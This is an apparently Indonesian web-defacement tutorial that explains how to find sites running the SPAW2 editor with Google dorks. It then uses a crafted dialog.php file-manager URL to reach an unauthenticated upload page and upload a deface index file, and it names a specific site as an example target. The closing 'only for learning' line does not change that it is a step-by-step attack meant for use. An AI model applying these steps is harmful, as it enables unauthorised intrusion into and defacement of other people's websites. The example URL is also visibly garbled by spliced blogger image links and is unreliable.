Hacking web Spaw Upload Vulnerably

Pertama buka pencarian google
paste dork di bawah ini ke google ...


dorknya : inurl:”spaw2/dialogs/” atau inurl:”spaw2/uploads/files/” :licik


Jika sudah dapet targetnya…
contoh targetnya misal: http://www.alometindo.com/bin/spaw2/dialogs/


bagian : spaw2/dialogs/


GANTI DENGAN


spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2&lang=es&charset=&scid=cf73b58bb51c52235494
da752d98cac9&type=files


MAKA HASILNYA SEPERTI INI


http://www.alometindo.com/bin/spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2&lang=es&charset=&scid=cf73b58bb51c52235494
da7hthttp://www.blogger.com/img/blank.giftp://www.blogger.com/img/blank.gif52d98cac9&type=files


halaman untuk upload File kan ada
Ganti menjadi files pada lokasi penyimpanan.
Browse file index Deface kamu, & upload.
Apabila file sukses diupload.akan terlihat file uploadtan tadi dsebelah kanan
sellesai ... hanya pembelajaran saja